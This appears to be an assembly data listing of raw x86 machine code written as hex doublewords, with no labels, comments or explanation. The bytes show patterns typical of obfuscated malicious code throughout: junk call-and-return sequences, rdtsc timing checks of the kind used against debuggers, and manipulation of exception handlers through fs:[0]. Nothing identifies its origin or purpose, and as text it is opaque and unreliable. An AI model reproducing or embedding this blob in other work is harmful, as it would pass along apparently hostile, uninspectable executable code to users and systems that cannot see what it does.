		dd 70FA585h, 6AFA8B06h,	51006AFFh, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 0DD752E77h, 0ED07A31Ah
		dd 6890F0Ah, 81000000h,	9A0D7FDFh, 85B5FF44h, 6A060729h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 4758C353h, 0BCB3BF91h, 6660EA87h,	0FF61CB8Bh
		dd 7303595h, 13AE906h, 50500000h, 5381BF66h, 0B05F5Bh
		dd 70E6DCB3h, 1A8D9589h, 71E40607h, 2CADBD09h, 613C0607h
		dd 116830Fh, 0B5890000h, 6071B3Dh, 0F5C8B60Fh, 6BAh, 10E800h
		dd 0B9250000h, 10F0E90Ch, 0EA3775A8h, 904EA4A5h, 0CB803BA9h
		dd 0C18B5F9Ch, 1B09BD8Bh, 0E8C10607h, 2D8D8904h, 6606071Eh
		dd 8B66E2F7h, 0FC82BFBh, 0D18BF8BFh, 0F38166h, 0C6E95Dh
		dd 0DE90000h, 99000000h, 524743D5h, 0A4D2A550h,	29317C4Dh
		dd 1858Bh, 0CE90000h, 0FF000000h, 0F2692041h, 50F47834h
		dd 83E715F7h, 858907C0h, 6070585h, 5CCB8166h, 0C08371h
		dd 1E7DBD8Bh, 95890607h, 6072C49h, 830FD03Bh, 24h, 1D4D9D8Bh
		dd 6DE90607h, 0E9000000h, 14h, 87E4D3BBh, 3AB33D82h, 0A66ECE6Dh
		dd 0DE39E678h, 44EFEEABh, 0FFFF8D8Bh, 0F53FFFFh, 68Eh
		dd 0B5858900h, 5F060703h, 0F01E183h, 3784h, 0A583F500h
		dd 0FFFFFFFFh, 0AE9FEh,	0C6140000h, 9BEEDF42h, 0E067F604h
		dd 19589h, 10E90000h, 7000000h,	3F83F5B5h, 125BE367h, 681BD834h
		dd 0E96B2B7Fh, 0
		dd 40C1B58Dh, 6A060Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 5D15B5C3h, 259A8EA9h, 8133AF62h
		dd 63888FC7h, 6A006A24h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 3EA8C352h, 0BC5402CAh
		dd 0FB707CD6h, 75BD8B53h, 5F060715h, 320195FFh,	0BF570607h
		dd 7C642923h, 0FC0B95Bh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0CB7383C3h, 0CAA2F699h
		dd 0A1BD317Eh, 83060715h, 6AFCE1h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 7B163BC3h, 0FACA4D3h
		dd 6AFCD9B7h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 9DF2C355h, 336DA08h, 701319Dh
		dd 0B5895006h, 6072B09h, 0E9C02B5Bh, 8,	1BA6E3C4h, 0CFC0696Eh
		dd 6AD22Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 204E7C3h,	70CBFC3Eh, 599D0310h, 0AD060704h
		dd 0E8D1C233h, 0E983D003h, 29F47504h, 70A5DB5h,	0D7816606h
		dd 880DBACCh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 7742C357h, 958BF5C6h
		dd 6071B41h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	0ECC35242h, 91DE411h, 13E9h, 7BF4B100h,	0A47A9329h
		dd 0BB7D0B75h, 0F0670699h, 540A26EEh, 6058D8Bh,	8B500607h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 9DC35343h, 4ABC489Eh
		dd 24BF6CBAh, 11E9h, 0F2C10E00h, 0D524ABDCh, 12CFA0h, 5DB22064h
		dd 0CE9E650h, 61000000h, 775DC38Ch, 5BA6A32Bh, 894A36F7h
		dd 721D195h, 0D1BD8306h, 6070Bh, 9D840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 899A9AC3h, 0B8850079h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 26C35343h
		dd 31208993h, 7190DB5h,	0B48D8D06h, 6A06074Dh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 875FC357h, 0E1FF0057h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0ABC35242h, 5C21DE8Fh, 0E420FF6h, 91BD8B4Fh
		dd 83060730h, 70069BDh,	840F0006h, 31Ah, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ah, 0D4C35747h, 1BFED542h
		dd 0BF660106h, 0BD839FA3h, 6070069h, 2840F01h, 0BB000003h
		dd 59DD704Ah, 69BD83h, 0F030607h, 2BA86h, 0F3816600h, 6A601524h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 5BD6C350h, 19919D8Bh, 9D8B0607h, 60700BDh
		dd 6AD98C66h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0FF0DC350h, 0C43F2AF7h, 8BF87AEFh
		dd 72139BDh, 4E18006h, 76133FBBh, 0FC90A39h, 0C784h, 0EEB8000h
		dd 306D858Bh, 33F50607h, 7330585h, 0D99D8906h, 90060703h
		dd 0DE8h, 37B4DE00h, 4CBBBA13h,	5846CB9Ah, 5B52243Ah, 5E8505Bh
		dd 22000000h, 0A36F3A25h, 68E0Fh, 52500000h, 585A310Fh
		dd 9D89905Bh, 6070125h,	6E9006Ah, 0E9000000h, 1C26E8C3h
		dd 0FE806845h, 8B66181Ch, 243481FEh, 1803FD7Fh,	0FFFBBF0Fh
		dd 71B9195h, 9D958906h,	89060716h, 0AB37285h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 9D52C21Dh, 1EE998A8h, 6A000001h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 34AC353h
		dd 32169075h, 0B4FA9AF5h, 0B36A858Bh, 8956060Ah, 7125DBDh
		dd 0C75B06h, 18h, 5ED8D09h, 0B58B0607h,	60AB36Eh, 1579858Bh
		dd 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 8AFAF8C3h, 26F5960Fh, 689DF47h, 1F95BD8Bh
		dd 858B0607h, 607306Dh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0C6C35747h, 66BAC7CDh, 89EB6DBBh, 0FE90446h
		dd 0C9000000h, 0A203E991h, 0AE2FDED5h, 0CCC21F4Ch, 5096BFBDh
		dd 96FE8B66h, 1E498D89h, 0B5FF0607h, 60AB36Ah, 1D3EDF81h
		dd 3F682FCFh, 813B22A0h, 0A3C02434h, 8D293B3Dh,	60706A9h
		dd 0B372858Dh, 9D29060Ah, 6071B19h, 6A19D33h, 0BF500607h
		dd 46F5E460h, 8B240489h, 71AD19Dh, 9195FF06h, 0E906071Bh
		dd 0Dh,	135AAC4Eh, 9B96CD2Fh, 0CB2411ACh, 5BBF66D8h, 6A6163h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0B9852CC3h, 85C7AFACh, 6070069h, 3, 8E8h, 90C39100h
		dd 33057974h, 0A98D89CCh, 5F060708h, 0B372BD83h, 0F00060Ah
		dd 4284h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 0E9FF9922h, 3Ah, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 0D8C35040h,	50DE8BFCh, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 0BF0FC08Bh
		dd 0FDB589FFh, 8B060705h, 732E9BDh, 79958906h, 83060719h
		dd 70069BDh, 850F0306h,	479h, 6E9h, 8507CB00h, 89A79EE2h
		dd 70BFDB5h, 72BD8306h,	60AB3h,	45B840Fh, 9D8B0000h, 6072C55h
		dd 0B372B5FFh, 6A060Ah,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 75BBC9C3h, 8D29F2D8h, 607105Dh
		dd 154595FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0B58B24C3h, 60AB366h, 1D199509h
		dd 6C70607h, 10001h, 1AB99D8Bh,	0DF8B0607h, 820F96h, 50000000h
		dd 6A96DE8Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0C2EDC351h, 56F36A82h,	0A2491C4Ah
		dd 8D89DE8Bh, 6071C3Dh,	0B372B5FFh, 6653060Ah, 0FF5FFA8Bh
		dd 7091195h, 799D3306h,	8B06072Fh, 0AB366B5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 934D45C3h, 8BA0D01Eh, 72CC985h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 800F4797h
		dd 2, 9D896CB3h, 6072A71h, 0C48689h, 0BD8B0000h, 6070C55h
		dd 1B41958Bh, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 24544AC3h, 3CB7816Ch, 1FB19D8Bh
		dd 0C2830607h, 53006A04h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0E24B7DDBh, 0BD8B8374h
		dd 6071AF1h, 6A205089h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 8DBDC353h, 0AC7ED85h
		dd 89D0B306h, 0B886h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 2332CC29h, 6621C4A9h
		dd 0C2FEC781h, 6A006Ah,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 15F935C3h, 37BB66E9h, 0FFE6B375h
		dd 0AB372B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 412D0E50h, 37AFE646h, 0DF8010A4h
		dd 2FE781F7h, 0FF10C125h, 729FD95h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 48124783h
		dd 0D9C2FA00h, 1F01B589h, 50500607h, 9D52FEBBh,	34895B4Fh
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 8DD14A5Dh, 61BD8BFFh, 66060703h,	0FF7A42BFh
		dd 0AB372B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0C0F29D0Ch, 0ECF7E1BEh, 95FF7654h
		dd 6071AA5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	0A1C35545h, 829D9C85h, 0ADBD836Bh, 60708h, 30840Fh
		dd 95890000h, 6071D31h,	93BF6696h, 6A96505Dh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0FDE0C352h, 9F82F381h, 0B5FF0112h, 60AB372h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 2CC35646h, 0FE95863h
		dd 90000000h, 0F46208B5h, 6D63AF52h, 7D67E99Dh,	8E0FD67Fh
		dd 8, 31BD0B52h, 5B06071Ch, 260595FFh, 6A0607h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 0C6DAB8C3h, 0F09AF38h, 0B5FFDABFh, 60AB372h,	2B059D2Bh
		dd 95FF0607h, 6071DF1h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 7EC35646h, 0BF0FCE82h, 0B1BD83DAh, 2060703h
		dd 5C840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 0DA6AB3C3h
		dd 0A56B1210h, 25BD2B1Bh, 8B060727h, 71EA9BDh, 49858B06h
		dd 6A060707h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 2970C352h, 721E98Dh, 0C606h, 85C7FA8Bh
		dd 6070F49h, 0
		dd 10E8h, 3FACA900h, 83FBE56h, 8F91F7ECh, 0CADC83E4h, 6E95668h
		dd 0F0000000h, 54FC81C8h, 895F5B86h, 720119Dh, 0F3A5E906h
		dd 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 346F75C3h, 238D4D47h, 0C18B6772h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0BFC35141h, 858D794Eh
		dd 6071F19h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	5EC35343h, 0D88B66BBh, 0D88B6650h, 6A240489h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 8A91C356h, 5340DF94h, 6AE85F0Ah, 0A1BD0900h,	6A06071Bh
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 20F8DE34h, 666D46C6h, 8DC6E8BFh,	0BCEDF85h
		dd 3D9D0306h, 83060730h, 0BD8B05C0h, 6072DA1h, 0E9525050h
		dd 5, 0C3B78D99h, 0F310FDEh, 188Bh, 13E900h, 82630000h
		dd 255AF681h, 4B190822h, 1CC24FEEh, 82FC2741h, 89585A54h
		dd 0BD8B2404h, 60700C5h, 6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 6A45C3h, 0FFD8BF0Fh
		dd 71BCD95h, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 0A63C8501h, 16518D31h, 8D8D0607h
		dd 60AA5B7h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	0E1C35141h, 0E8D1FFFCh,	0Fh, 2D019D95h,	0CAA85FCAh
		dd 63017B4Ch, 80A9A09Fh, 835BA8CFh, 71995BDh, 850F0106h
		dd 78h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah
		dd 0CCC35040h, 0DFA98C07h, 14E9950Fh, 3D000000h, 0B0C3715Eh
		dd 0E1C3B043h, 0EEA0EEC2h, 32D5AED6h, 6A6B47B2h, 55006A02h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0A958AB00h, 0EF809033h, 66565006h, 5FE98BBFh, 23240489h
		dd 72C59BDh, 0FD95FF06h, 0F8060729h, 0ED8E9h, 0E800h, 815D0000h
		dd 0BCEE9EDh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 53CCF8AAh, 0FDFB70Fh, 8B66F8B7h
		dd 0A858DDEh, 6A060A91h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 18F8C352h, 0C3338215h
		dd 891B747Ah, 7303985h,	0E5BD8B06h, 9006070Ah, 66525060h
		dd 310FF98Bh, 0AD732B9h, 61585A30h, 850F5350h, 0
		dd 0BF0F905Bh, 0C59D8BD9h, 6406072Bh, 35FFh, 0BD290000h
		dd 6070C4Dh, 258964h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 8904C353h, 71261B5h
		dd 0C80EBB06h, 85FF2916h, 6070FA5h, 0F95FD381h,	0FF6A4F58h
		dd 9FE78166h, 19B5FF43h, 8906071Eh, 71ABD85h, 0DFB70F06h
		dd 303595FFh, 50E90607h, 8B000001h, 72FE5BDh, 0E800B006h
		dd 10h,	0A2EB8B9Ch, 0F7DE2D2Dh,	6324A943h, 1DBAE510h, 0B776C381h
		dd 665B6563h, 70E6DE8Bh, 19890Fh, 800F0000h, 13h, 0EE9h
		dd 0BFC07900h, 0F82FD828h, 0D7B3481Bh, 0E404FA8Ah, 0E7816671h
		dd 0BE9241Bh, 67000000h, 0B5D2BC70h, 0EFE794D2h, 613C5E47h
		dd 0E9830Fh, 0BD8B0000h, 6072E55h, 0BAC8B60Fh, 6, 1A719D8Bh
		dd 0C18B0607h, 0EE8h, 0FCA19C00h, 7344B574h, 0EBF52D3Ah
		dd 0E9486D64h, 5, 82C2ED8Fh, 9D8B5F6Ah,	6071E99h, 6004E8C1h
		dd 221D950Bh, 870F0607h, 6, 18C58589h, 8B610607h, 0E2F766DEh
		dd 1C82BF9h, 72D11BDh, 0DE906h,	8B140000h, 0FCE1F583h
		dd 22071234h, 8B73AF22h, 0E970B3D1h, 6Fh, 13D38166h, 4858B7Fh
		dd 8B000000h, 71F619Dh,	7C08306h, 43F3BB66h, 0F00C083h
		dd 38Dh, 0DEE38000h, 830FD03Bh,	0Ah, 3CE9F88Bh,	80000000h
		dd 8D8BBFD3h, 0FFFFFFFFh, 68B0Fh, 85890000h, 6072641h
		dd 0F01E183h, 1E84h, 9BD8B00h, 83060733h, 0FFFFFFA5h, 0B589FEFFh
		dd 6070395h, 49589h, 0E90000h, 8D000000h, 0B5081B5h, 0EF8106h
		dd 6A28BC9Ah, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 3A57B103h, 7023ABB9h, 0FFFCF9D8h
		dd 7320195h, 68A0F06h, 2B000000h, 72CD5BDh, 0F71B906h
		dd 85310000h, 6071C29h,	6AFCE183h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8995C352h
		dd 71C9D9Dh, 8529FC06h,	6072161h, 6AC02Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 0ECE49AC3h
		dd 38C0F13h, 80000000h,	0D22B03D3h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 19h, 97C35040h, 0C182235Dh, 0ED9D011Eh
		dd 0E8060701h, 10h, 0EDE2DA4Ch,	0A2A05237h, 0B2E4A0C4h
		dd 0F88D40D9h, 0AD5F5F52h, 0E8D1C233h, 0E983D003h, 6AF47504h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 7A35C357h, 1B77CDF6h, 94A6B69h, 71B09BDh
		dd 72BB6606h, 0F59D8BA6h, 106071Fh, 70F9995h, 880D06h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0D2A969C3h, 0BE9E0h, 4DA0000h, 0C1CFA5D7h
		dd 80B8AFA1h, 41958BDDh, 6A06071Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 7512C352h
		dd 0BDB529A9h, 8B06071Dh, 706058Dh, 0D1858906h,	50060718h
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	50006A58h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 2AFE02h, 0D262860Ch,	0AD8D89ABh, 5606072Ah, 1F098D29h
		dd 8B5F0607h, 71D45BDh,	0D1BD8306h, 6070Bh, 3C840Fh, 0B80000h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0A40BC351h, 7A6346E4h,	8DE53D14h
		dd 74DB48Dh, 81B58906h,	0FF06071Ch, 0C38166E1h,	0BD83A463h
		dd 6070069h, 83840F00h,	6A000005h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0F942C355h
		dd 0BEF92C04h, 0E9958978h, 8306071Fh, 70069BDh,	840F0106h
		dd 569h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 17h,	3CC35747h, 294D70DEh, 717FDB5h,	5E806h,	0A2020000h
		dd 66F9D11Eh, 245DF381h, 69BD835Bh, 3060700h, 4F1860Fh
		dd 9D8B0000h, 6070FF5h,	2840Fh,	0FB8B0000h, 665B5260h
		dd 6AD98Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 8ADAA4C3h, 0B880FEFh, 0E9000000h,	6, 9D17B2E2h
		dd 0BB66FF1Bh, 0E180A9CDh, 4E06BB04h, 5B5718C0h, 840FC90Ah
		dd 183h, 1C8D9D89h, 858B0607h, 607306Dh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ah, 0D5C35646h, 0F3DCDAAEh
		dd 85336B20h, 6073305h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 81C35343h, 8185849Eh,	0FDBD0156h, 5B060731h
		dd 13E8h, 0D1212D00h, 0DFAF9E9Ah, 0C57325F5h, 0BEFB35EFh
		dd 3C43DC0Ah, 12E8h, 0DAD78300h, 6C23877Bh, 2B45C976h
		dd 6C82A419h, 893C4667h, 72DC985h, 905B5B06h, 6A9050h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 9791EFC3h, 6E983h, 20650000h, 3A8465ADh, 6A006Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 95DC24C3h, 0FD22188Fh, 1DF8166h, 1F8C68D3h, 34816B38h
		dd 271C7324h, 0C1BD8B6Bh, 8B06072Ch, 715099Dh, 9195FF06h
		dd 6A06071Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0DB43C355h, 3EA0D381h,	0CB815268h
		dd 1D1D3D2Eh, 0B3728589h, 6A060Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 22F12DC3h, 1A7ED09Ch
		dd 29DE9F5h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 744B6FC3h, 0BBE210CAh, 8BF9BF0Fh
		dd 0AB36A85h, 5FD1BB06h, 0C70472h, 18h,	0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 16h, 8C35646h, 0DE8C3D3h
		dd 0BA000000h, 51A34C92h, 0F7CAB5DAh, 0FD7E3D0Fh, 3810Fh
		dd 0C3800000h, 0B58B5B80h, 60AB36Eh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0F4C35141h,	0CE9C398h, 0F000000h
		dd 8B746AADh, 60251023h, 8B36E314h, 7157985h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 59BD03D9h, 60060710h, 2C098D89h, 0B70F0607h,	68961CBh
		dd 68B0Fh, 9D8B0000h, 6070591h,	306D858Bh, 13E90607h, 5A000000h
		dd 47B9EE6Dh, 6914B638h, 7DE3717Eh, 19419603h, 46891B62h
		dd 15958904h, 96060704h, 10E8h,	0EE25DE00h, 0E8DA52C1h
		dd 7A19E9D7h, 4E4659C2h, 0F88B6662h, 0DA8B505Bh, 0EE95196h
		dd 0EA000000h, 0EF5841C7h, 205FD20Eh, 6FC1D527h, 0AE85B40h
		dd 51000000h, 157C1134h, 0FEA2A21Eh, 14E8CAh, 0ADD60000h
		dd 9146B24Bh, 4B0DFCA8h, 0A7176C52h, 2989EA13h,	860FE8E1h
		dd 0
		dd 0B5FF5F5Bh, 60AB36Ah, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0E2C35747h, 0B9AC8374h, 8B1031A5h, 710099Dh
		dd 4E806h, 3FF0000h, 8A50001Fh,	24448BDEh, 0E9525004h
		dd 0Fh,	429E17ADh, 3EF27B47h, 9837036Ch, 0FE67CACh, 8B585A31h
		dd 0D88A6000h, 5FF6B966h, 24448961h, 0FE904h, 0C010000h
		dd 0F6CCAD51h, 0D8FB03Fh, 58F1A3ACh, 6A587Fh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0AA2D61C3h
		dd 0F05199ECh, 0BF66D5A8h, 0B9BB3DE1h, 0F2E1533h, 683h
		dd 89958900h, 8D060707h, 0AB37285h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 9E9E9h, 12350000h
		dd 9097385Eh, 508CD458h, 52506050h, 585A310Fh, 310F5250h
		dd 5F61585Ah, 6A240489h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 1BF2C350h, 8BF1C7DAh
		dd 7221D9Dh, 9195FF06h,	8B06071Bh, 0A5BD89D9h, 6106072Fh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 7FC35747h
		dd 0A2C0E6E1h, 9FA25DA4h, 6985C7h, 30607h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0A91A63C3h, 0ECA9BB6Dh, 8C0FDEA6h, 0
		dd 0ADEF8166h, 72BD83E3h, 60AB3h, 31840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0F5521C3h, 68Bh, 219D8B00h, 0E9060717h, 1Eh,	50DF8B66h
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 0C381C08Bh, 77BB4185h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 31C35141h, 0B3A13782h, 14E9D6h, 0E4890000h
		dd 0AF6FB615h, 0ABE0F926h, 0DDF3E7F8h, 56AED9F8h, 0BD83BD9Fh
		dd 6070069h, 4850F03h, 66000004h, 2B0F01BBh, 706D5BDh
		dd 72BD8306h, 60AB3h, 3ED840Fh,	0DC8A0000h, 0B372B5FFh
		dd 6A060Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 3A2FEAC3h, 6043E021h, 3CC6942h, 732AD9Dh
		dd 0CE95206h, 0D7000000h, 6A70A5FEh, 24355E59h,	5F63C5AFh
		dd 154595FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 206D6CC3h, 10F5B025h, 0EE8h, 5013D500h
		dd 4A4E7E9Ch, 0A087E264h, 8B910CC1h, 7154DBDh, 800F5B06h
		dd 6, 1ADD9D8Bh, 0B58B0607h, 60AB366h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0F4C35242h,	7A93297Bh, 8589FCA4h
		dd 6073135h, 106C7h, 6A0001h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 8B96BBC3h, 8C0F50F9h
		dd 0
		dd 6E896h, 0A1910000h, 5FF5395Fh, 0B5FF5BF8h, 60AB372h
		dd 21D1BD23h, 95FF0607h, 6070911h, 3E5BD8Bh, 0B58B0607h
		dd 60AB366h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	37C35646h, 0E5B589EAh, 8B060729h, 72CC985h, 25858906h
		dd 89060719h, 0C486h, 0F8B70F00h, 1B41958Bh, 6A0607h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 6077DAC3h, 0EDDE8166h, 13E90Ah, 0BB7B0000h, 0AECAF2AFh
		dd 0F2124141h, 1D320E0Fh, 13B8B8F7h, 0C2836185h, 53006A04h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0DEF1F1DAh, 0D8849313h, 0F880Fh, 0AE90000h, 6A000000h
		dd 0C0B323DCh, 2AFCBA9h, 7E907h, 7B790000h, 0C44DDC3Ch
		dd 20508905h, 8DDFB70Fh, 0AC7ED85h, 6E806h, 0AC360000h
		dd 33784922h, 0D8A0Fh, 8E90000h, 0D4000000h, 8A58629h
		dd 5B089DF2h, 0E4A2BB66h, 0B88689h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 3CCE0BC3h
		dd 9AEE1CA1h, 860Fh, 6A0000h, 29499D8Bh, 0B5FF0607h, 60AB372h
		dd 95FFFA8Bh, 60729FDh,	6890Fh,	0BD890000h, 6072F49h, 11BF6650h
		dd 243489C3h, 0B372B5FFh, 6A060Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0C8A63EC3h, 0D9C003E7h
		dd 858921A6h, 60722F9h,	7159D31h, 95FF0607h, 6071AA5h
		dd 0BD83DA8Bh, 60708ADh, 6F840F00h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 9296C356h, 60304D90h, 2AD18D29h, 0EA810607h,	3F4FF916h
		dd 0BF669661h, 5650967Ah, 52505250h, 585A310Fh,	0A9B7310Fh
		dd 965B585Ah, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
